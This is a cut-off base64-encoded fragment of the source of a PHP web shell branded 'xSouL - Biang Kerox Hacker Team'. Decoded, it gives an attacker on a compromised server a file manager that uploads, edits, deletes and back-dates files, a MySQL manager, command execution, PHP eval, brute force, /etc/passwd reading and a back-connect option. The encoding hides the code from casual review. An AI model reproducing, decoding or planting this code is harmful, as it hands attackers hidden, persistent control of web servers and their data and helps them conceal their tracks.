1bWVudC5hbGwubG9hZGluZy5zdHlsZTsNCiAgZnVuY3Rpb24gaW5pdCgpDQogew0KIGlmKG5zNCl7bGQudmlzaWJpbGl0eT0iaGlkZGVuIjt9DQogZWxzZSBpZiAobnM2fHxpZTQpIGxkLmRpc3BsYXk9Im5vbmUiOw0KIH0NCiA8L3NjcmlwdD4NCg0KDQoNCg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+DQoJPHRyIGNsYXNzPSJoZWFkX3NtYWxsIj4NCgkJPHRkICB3aWR0aD0xMDAlPg0KCQk8dGFibGUgd2lkdGg9MTAwJT48dHIgY2xhc3M9ImhlYWRfc21hbGwiPjx0ZCAgd2lkdGg9ODZweD48YSB0aXRsZT0ieFNvdUwgLSBCaWFuZyBLZXJveCBIYWNrZXIgVGVhbSIgaHJlZj0iPD9waHAgJHNlbGY7Pz4iPjxpbWcgc3JjPWh0dHA6Ly9zcGhvdG9zLWguYWsuZmJjZG4ubmV0L2hwaG90b3MtYWstcHJuMS81MjQ2MzZfMzIzMjQ4NjYxMTM1NDE5Xzc4OTI2NDcyX24uanBnIGhlaWdodD04NiBib3JkZXI9MD48L2E+PC90ZD48dGQ+DQoJCTxzcGFuIHN0eWxlPSJmbG9hdDpsZWZ0OyI+IDw/cGhwIGVjaG8gIkhvc3RuYW1lOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiAgfCA8YSBocmVmPSJodHRwOi8vYmtodC5vcmcvIiB0YXJnZXQ9Il9ibGFuayI+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ3hTb3VMIC0gQklBTkcgS0VST1ggSEFDS0VSIFRFQU0nKTs/PiA8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbG9nb3V0Jyk7Ij48Zm9udCBjb2xvcj1yZWQ+TG9nb3V0PC9mb250PjwvYT48L3NwYW4+IDxiciAvPg0KDQoJCTw/cGhwDQoJCSRjdXJsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7DQoJCSRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsNCgkJJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOw0KCQkkcGdfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0Jyk7DQoJCSRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOw0KDQplY2hvICgoJHNhZmVfbW9kZSk/KCJTYWZlX21vZDogPGI+PGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICIpOigiU2FmZV9tb2Q6IDxiPjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICIpKTsNCmVjaG8gIlBIUCB2ZXJzaW9uOiA8Yj4iLkBwaHB2ZXJzaW9uKCkuIjwvYj4gLSAiOw0KCQllY2hvICJjVVJMOiAiLigoJGN1cmxfb24pPygiPGI+PGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICIpOigiPGI+PGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIikpOw0KCQllY2hvICJNeVNRTDogPGI+IjsNCiRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsNCmlmKCRteXNxbF9vbil7DQplY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIjsgfQ0KZWNobyAiTVNTUUw6IDxiPiI7DQokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQppZigkbXNzcWxfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7fQ0KZWNobyAiUG9zdGdyZVNRTDogPGI+IjsNCiRwZ19vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKTsNCmlmKCRwZ19vbil7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIjt9DQplY2hvICJPcmFjbGU6IDxiPiI7DQokb3JhX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKTsNCmlmKCRvcmFfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPjxCUj4iO30NCg0KZWNobyAiRGlzYWJsZSBmdW5jdGlvbnMgOiA8Yj4iOw0KaWYoJyc9PSgkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5OT05FPC9mb250PjwvYj48QlI+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+JGRmPC9mb250PjwvYj48QlI+Ijt9DQoNCmVjaG8gIjxmb250IGNvbG9yPXdoaXRlPlVuYW1lIC1hPC9mb250PjogIi5Ac3Vic3RyKEBwaHBfdW5hbWUoKSwwLDEyMCkuIjxicj4iOw0KZWNobyAiPGZvbnQgY29sb3I9d2hpdGU+U2VydmVyPC9mb250PjogIi5Ac3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApLiIgLSA8Zm9udCBjb2xvcj13aGl0ZT5pZDwvZm9udD46ICIuQGdldG15dWlkKCkuIigiLkBnZXRfY3VycmVudF91c2VyKCkuIikgLSB1aWQ9Ii5AZ2V0bXl1aWQoKS4iICgiLkBnZXRfY3VycmVudF91c2VyKCkuIikgZ2lkPSIuQGdldG15Z2lkKCkuIigiLkBnZXRfY3VycmVudF91c2VyKCkuIik8YnI+IjsNCgkJPz4NCgkJPC90ZD48L3RyPjwvdGFibGU+PC90ZD4NCgk8L3RyPg0KCTx0ciBjbGFzcz0iYWx0MSI+DQoJCTx0ZCAgd2lkdGg9MTAlPjxzcGFuIHN0eWxlPSJmbG9hdDpsZWZ0OyI+W1NlcnZlciBJUDogPD9waHAgZWNobyAiPGZvbnQgY29sb3I9eWVsbG93PiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIjwvZm9udD4iOz8+IC0gWW91ciBJUDogPD9waHAgZWNobyAiPGZvbnQgY29sb3I9eWVsbG93PiIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uIjwvZm9udD4iOz8+XSA8L3NwYW4+ICAgPGJyIC8+DQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxiciAvPg0KCQkJDQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdmaWxlJyk7Ij5GaWxlIE1hbmFnZXI8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGFkbWluJyk7Ij5NeVNRTCBNYW5hZ2VyPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzcWxmaWxlJyk7Ij5NeVNRTCBVcGxvYWQgJmFtcDsgRG93bmxvYWQ8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NoZWxsJyk7Ij5FeGVjdXRlIENvbW1hbmQ8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3BocGVudicpOyI+UEhQIFZhcmlhYmxlPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdldmFsJyk7Ij5FdmFsIFBIUCBDb2RlPC9hPg0KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JydXRlJyk7Ij5CcnV0ZTwvYT4gPD9waHAgfT8+DQoJCQk8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZXRjcHdkJyk7Ij4vZXRjL3Bhc3N3ZDwvYT4gPD9waHAgfT8+DQoJCQk8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignYmFja2Nvbm5lY3QnKTsiPkJhY2sgQ29ubmVjdDwvYT48P3BocCB9Pz4NCgkJPC90ZD4NCgk8L3RyPg0KPC90YWJsZT4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMTUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPg0KPD9waHANCg0KZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7DQptYWtlaGlkZSgnYWN0aW9uJyk7DQpmb3JtZm9vdCgpOw0KDQokZXJybXNnICYmIG0oJGVycm1zZyk7DQoNCi8vIERpciBmdW5jdGlvbg0KISRkaXIgJiYgJGRpciA9ICcuJzsNCiRub3dwYXRoID0gZ2V0UGF0aChTQV9ST09ULCAkZGlyKTsNCmlmIChzdWJzdHIoJGRpciwgLTEpICE9ICcvJykgew0KCSRkaXIgPSAkZGlyLicvJzsNCn0NCiR1ZWRpciA9IHVlKCRkaXIpOw0KDQppZiAoISRhY3Rpb24gfHwgJGFjdGlvbiA9PSAnZmlsZScpIHsNCg0KCS8vIE5vbi13cml0ZWFibGUNCgkkZGlyX3dyaXRlYWJsZSA9IEBpc193cml0YWJsZSgkbm93cGF0aCkgPyAnV3JpdGFibGUnIDogJ05vbi13cml0YWJsZSc7DQoNCgkvLyBEZWxldGUgZGlyDQoJaWYgKCRkb2luZyA9PSAnZGVsZGlyJyAmJiAkdGhlZmlsZSkgew0KCQlpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgew0KCQkJbSgkdGhlZmlsZS4nIGRpcmVrdG9yaSBnYWsgYWRhJyk7DQoJCX0gZWxzZSB7DQoJCQltKCdEaXJlY3RvcnkgZGVsZXRlICcuKGRlbHRyZWUoJHRoZWZpbGUpID8gYmFzZW5hbWUoJHRoZWZpbGUpLicgc3Vrc2VzJyA6ICdnYWdhbCcpKTsNCgkJfQ0KCX0NCg0KCS8vIENyZWF0ZSBuZXcgZGlyDQoJZWxzZWlmICgkbmV3ZGlybmFtZSkgew0KCQkkbWtkaXJzID0gJG5vd3BhdGguJG5ld2Rpcm5hbWU7DQoJCWlmIChmaWxlX2V4aXN0cygkbWtkaXJzKSkgew0KCQkJbSgnRGlyZWt0b3JpbmUgd2VzIGVuZWsgY29rICEnKTsNCgkJfSBlbHNlIHsNCgkJCW0oJ0RpcmVjdG9yeSBjcmVhdGVkICcuKEBta2RpcigkbWtkaXJzLDA3NzcpID8gJ3N1a3NlcycgOiAnZ2FnYWwnKSk7DQoJCQlAY2htb2QoJG1rZGlycywwNzc3KTsNCgkJfQ0KCX0NCg0KCS8vIFVwbG9hZCBmaWxlDQoJZWxzZWlmICgkZG91cGZpbGUpIHsNCgkJbSgnRmlsZSB1cGxvYWQgJy4oQGNvcHkoJF9GSUxFU1sndXBsb2FkZmlsZSddWyd0bXBfbmFtZSddLCR1cGxvYWRkaXIuJy8nLiRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddKSA/ICdzdWtzZXMnIDogJ2dhZ2FsJykpOw0KCX0NCg0KCS8vIEVkaXQgZmlsZQ0KCWVsc2VpZiAoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsNCgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsNCgkJbSgnc2ltcGVuIGZpbGUgJy4oQGZ3cml0ZSgkZnAsJGZpbGVjb250ZW50KSA/ICdzdWtzZXMnIDogJ2dhZ2FsJykpOw0KCQlAZmNsb3NlKCRmcCk7DQoJfQ0KDQoJLy8gTW9kaWZ5DQoJZWxzZWlmICgkcGZpbGUgJiYgJG5ld3Blcm0pIHsNCgkJaWYgKCFmaWxlX2V4aXN0cygkcGZpbGUpKSB7DQoJCQltKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJG5ld3Blcm0gPSBiYXNlX2NvbnZlcnQoJG5ld3Blcm0sOCwxMCk7DQoJCQltKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ3N1a3NlcycgOiAnZ2FnYWwnKSk7DQoJCX0NCgl9DQoNCgkvLyBSZW5hbWUNCgllbHNlaWYgKCRvbGRuYW1lICYmICRuZXdmaWxlbmFtZSkgew0KCQkkbm5hbWUgPSAkbm93cGF0aC4kbmV3ZmlsZW5hbWU7DQoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsNCgkJCW0oJG5uYW1lLicgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1a3NlcycgOiAnZ2FnYWwnKSk7DQoJCX0NCgl9DQoNCgkvLyBDb3B1DQoJZWxzZWlmICgkc25hbWUgJiYgJHRvZmlsZSkgew0KCQlpZiAoZmlsZV9leGlzdHMoJHRvZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRzbmFtZSkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKGJhc2VuYW1lKCR0b2ZpbGUpLicgY29waWVkICcuKEBjb3B5KCRzbmFtZSwkdG9maWxlKSA/IGJhc2VuYW1lKCR0b2ZpbGUpLicgc3Vrc2VzJyA6ICdnYWdhbCcpKTsNCgkJfQ0KCX0NCg0KCS8vIEZpbGUgZXhpdA0KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHRhcmZpbGUpIHsNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpIHx8ICFAZmlsZV9leGlzdHMoJHRhcmZpbGUpKSB7DQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJHRpbWUgPSBAZmlsZW10aW1lKCR0YXJmaWxlKTsNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3Vrc2VzJyA6ICdnYWdhbCcpKTsNCgkJfQ0KCX0NCg0KCS8vIERhdGUNCgllbHNlaWYgKCRjdXJmaWxlICYmICR5ZWFyICYmICRtb250aCAmJiAkZGF5ICYmICRob3VyICYmICRtaW51dGUgJiYgJHNlY29uZCkgew0KCQlpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkpIHsNCgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3Vrc2VzJyA6ICdnYWdhbCcpKTsNCgkJfQ0KCX0NCg0KCS8vIERvd25sb2FkDQoJZWxzZWlmKCRkb2luZyA9PSAnZG93bnJhcicpIHsNCgkJaWYgKCRkbCkgew0KCQkJJGRmaWxlcz0nJzsNCgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZhbHVlKSB7DQoJCQkJJGRmaWxlcy49JGZpbGVwYXRoLicsJzsNCgkJCX0NCgkJCSRkZmlsZXM9c3Vic3RyKCRkZmlsZXMsMCxzdHJsZW4oJGRmaWxlcyktMSk7DQoJCQkkZGw9ZXhwbG9kZSgnLCcsJGRmaWxlcyk7DQoJCQkkemlwPW5ldyBQSFBaaXAoJGRsKTsNCgkJCSRjb2RlPSR6aXAtPm91dDsNCgkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsNCgkJCWhlYWRlcignQWNjZXB0LVJhbmdlczogYnl0ZXMnKTsNCgkJCWhlYWRlcignQWNjZXB0LUxlbmd0aDogJy5zdHJsZW4oJGNvZGUpKTsNCgkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX0ZpbGVzLnRhci5neicpOw0KCQkJZWNobyAkY29kZTsNCgkJCWV4aXQ7DQoJCX0gZWxzZSB7DQoJCQltKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknKTsNCgkJfQ0KCX0NCg0KCS8vIERlbGV0ZSBmaWxlDQoJZWxzZWlmKCRkb2luZyA9PSAnZGVsZmlsZXMnKSB7DQoJCWlmICgkZGwpIHsNCgkJCSRkZmlsZXM9Jyc7DQoJCQkkc3VjYyA9ICRmYWlsID0gMDsNCgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZhbHVlKSB7DQoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgew0KCQkJCQkkc3VjYysrOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRmYWlsKys7DQoJCQkJfQ0KCQkJfQ0KCQkJbSgnRGVsZXRlZCBmaWxlIGhhdmUgZmluaXNoZWQ/P2Nob29zZSAnLmNvdW50KCRkbCkuJyBzdWtzZXMgJy4kc3VjYy4nIGdhZ2FsICcuJGZhaWwpOw0KCQl9IGVsc2Ugew0KCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7DQoJCX0NCgl9DQoNCgkvLyBGdW5jdGlvbiBOZXdkaXINCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidjcmVhdGVkaXInKSk7DQoJbWFrZWhpZGUoJ25ld2Rpcm5hbWUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlcGVybScpKTsNCgltYWtlaGlkZSgnbmV3cGVybScpOw0KCW1ha2VoaWRlKCdwZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NvcHlmaWxlJykpOw0KCW1ha2VoaWRlKCdzbmFtZScpOw0KCW1ha2VoaWRlKCd0b2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZW5hbWUnKSk7DQoJbWFrZWhpZGUoJ29sZG5hbWUnKTsNCgltYWtlaGlkZSgnbmV3ZmlsZW5hbWUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlb3Bmb3JtJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nKTsNCgltYWtlaGlkZSgnb3BmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicpOw0KCWZvcm1mb290KCk7DQoNCgkkZnJlZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJG5vd3BhdGgpOw0KCSEkZnJlZSAmJiAkZnJlZSA9IDA7DQoJJGFsbCA9IEBkaXNrX3RvdGFsX3NwYWNlKCRub3dwYXRoKTsNCgkhJGFsbCAmJiAkYWxsID0gMDsNCgkkdXNlZCA9ICRhbGwtJGZyZWU7DQoJJHVzZWRfcGVyY2VudCA9IEByb3VuZCgxMDAvKCRhbGwvJGZyZWUpLDIpOw0KCXAoJzxmb250IGNvbG9yPXllbGxvdyBmYWNlPXRhaG9tYSBzaXplPTI+PEI+RmlsZSBNYW5hZ2VyPC9iPiA8L2ZvbnQ+IEN1cnJlbnQgZGlzayBmcmVlIDxmb250IGNvbG9yPXJlZD4nLnNpemVjb3VudCgkZnJlZSkuJzwvZm9udD4gb2YgPGZvbnQgY29sb3I9cmVkPicuc2l6ZWNvdW50KCRhbGwpLic8L2ZvbnQ+ICg8Zm9udCBjb2xvcj1yZWQ+Jy4kdXNlZF9wZXJjZW50Lic8L2ZvbnQ+JSk8L2ZvbnQ+Jyk7DQoNCj8+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0ibWFyZ2luOjEwcHggMDsiPg0KICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBpZD0iZ29kaXIiIG5hbWU9ImdvZGlyIj4NCiAgPHRyPg0KICAgIDx0ZCBub3dyYXA+Q3VycmVudCBEaXJlY3RvcnkgKDw/cGhwIGVjaG8gJGRpcl93cml0ZWFibGU7Pz4sIDw/cGhwIGVjaG8gZ2V0Q2htb2QoJG5vd3BhdGgpOz8+KTwvdGQ+DQoJPHRkIHdpZHRoPSIxMDAlIj48aW5wdXQgbmFtZT0idmlld193cml0YWJsZSIgdmFsdWU9IjAiIHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvICRub3dwYXRoOz8+IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6MTAwJTttYXJnaW46MCA4cHg7Ij48L3RkPg0KICAgIDx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IkdPIiB0eXBlPSJzdWJtaXQiPjwvdGQ+DQogIDwvdHI+DQogIDwvZm9ybT4NCjwvdGFibGU+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjcmVhdGVkaXIoKXsNCgl2YXIgbmV3ZGlybmFtZTsNCgluZXdkaXJuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGRpcmVjdG9yeSBuYW1lOicsICcnKTsNCglpZiAoIW5ld2Rpcm5hbWUpIHJldHVybjsNCgkkKCdjcmVhdGVkaXInKS5uZXdkaXJuYW1lLnZhbHVlPW5ld2Rpcm5hbWU7DQoJJCgnY3JlYXRlZGlyJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBmaWxlcGVybShwZmlsZSl7DQoJdmFyIG5ld3Blcm07DQoJbmV3cGVybSA9IHByb21wdCgnQ3VycmVudCBmaWxlOicrcGZpbGUrJ1xuUGxlYXNlIGlucHV0IG5ldyBhdHRyaWJ1dGU6JywgJycpOw0KCWlmICghbmV3cGVybSkgcmV0dXJuOw0KCSQoJ2ZpbGVwZXJtJykubmV3cGVybS52YWx1ZT1uZXdwZXJtOw0KCSQoJ2ZpbGVwZXJtJykucGZpbGUudmFsdWU9cGZpbGU7DQoJJCgnZmlsZXBlcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGNvcHlmaWxlKHNuYW1lKXsNCgl2YXIgdG9maWxlOw0KCXRvZmlsZSA9IHByb21wdCgnT3JpZ2luYWwgZmlsZTonK3NuYW1lKydcblBsZWFzZSBpbnB1dCBvYmplY3QgZmlsZSAoZnVsbHBhdGgpOicsICcnKTsNCglpZiAoIXRvZmlsZSkgcmV0dXJuOw0KCSQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsNCgkkKCdjb3B5ZmlsZScpLnNuYW1lLnZhbHVlPXNuYW1lOw0KCSQoJ2NvcHlmaWxlJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiByZW5hbWUob2xkbmFtZSl7DQoJdmFyIG5ld2ZpbGVuYW1lOw0KCW5ld2ZpbGVuYW1lID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGZpbGVuYW1lOicsICcnKTsNCglpZiAoIW5ld2ZpbGVuYW1lKSByZXR1cm47DQoJJCgncmVuYW1lJykubmV3ZmlsZW5hbWUudmFsdWU9bmV3ZmlsZW5hbWU7DQoJJCgncmVuYW1lJykub2xkbmFtZS52YWx1ZT1vbGRuYW1lOw0KCSQoJ3JlbmFtZScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gZG9maWxlKGRvaW5nLHRoZWZpbGUsbSl7DQoJaWYgKG0gJiYgIWNvbmZpcm0obSkpIHsNCgkJcmV0dXJuOw0KCX0NCgkkKCdmaWxlbGlzdCcpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCWlmICh0aGVmaWxlKXsNCgkJJCgnZmlsZWxpc3QnKS50aGVmaWxlLnZhbHVlPXRoZWZpbGU7DQoJfQ0KCSQoJ2ZpbGVsaXN0Jykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBjcmVhdGVmaWxlKG5vd3BhdGgpew0KCXZhciBmaWxlbmFtZTsNCglmaWxlbmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBmaWxlIG5hbWU6JywgJycpOw0KCWlmICghZmlsZW5hbWUpIHJldHVybjsNCglvcGZpbGUoJ2VkaXRmaWxlJyxub3dwYXRoICsgZmlsZW5hbWUsbm93cGF0aCk7DQp9DQpmdW5jdGlvbiBvcGZpbGUoYWN0aW9uLG9wZmlsZSxkaXIpew0KCSQoJ2ZpbGVvcGZvcm0nKS5hY3Rpb24udmFsdWU9YWN0aW9uOw0KCSQoJ2ZpbGVvcGZvcm0nKS5vcGZpbGUudmFsdWU9b3BmaWxlOw0KCSQoJ2ZpbGVvcGZvcm0nKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2ZpbGVvcGZvcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGdvZGlyKGRpcix2aWV3X3dyaXRhYmxlKXsNCglpZiAodmlld193cml0YWJsZSkgew0KCQkkKCdnb2RpcicpLnZpZXdfd3JpdGFibGUudmFsdWU9MTsNCgl9DQoJJCgnZ29kaXInKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2dvZGlyJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCiAgPD9waHANCgl0YmhlYWQoKTsNCglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48dHIgY2xhc3M9ImFsdDEiPjx0ZCBjb2xzcGFuPSI3IiBzdHlsZT0icGFkZGluZzo1cHg7Ij4nKTsNCglwKCc8ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0iIiBuYW1lPSJkb3VwZmlsZSIgdmFsdWU9IlVwbG9hZCIgdHlwZT0ic3VibWl0IiAvPjxpbnB1dCBuYW1lPSJ1cGxvYWRkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjwvZGl2PicpOw0KCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJ1wnKTsiPldlYlJvb3Q8L2E+Jyk7DQoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7DQoJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyk7Ij5kZWxvayBrYWJlaDwvYT4nKTsNCgl9IGVsc2Ugew0KCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcsXCcxXCcpOyI+ZGVsb2sgV3JpdGFibGU8L2E+Jyk7DQoJfQ0KCXAoJyB8IDxhIGhyZWY9ImphdmFzY3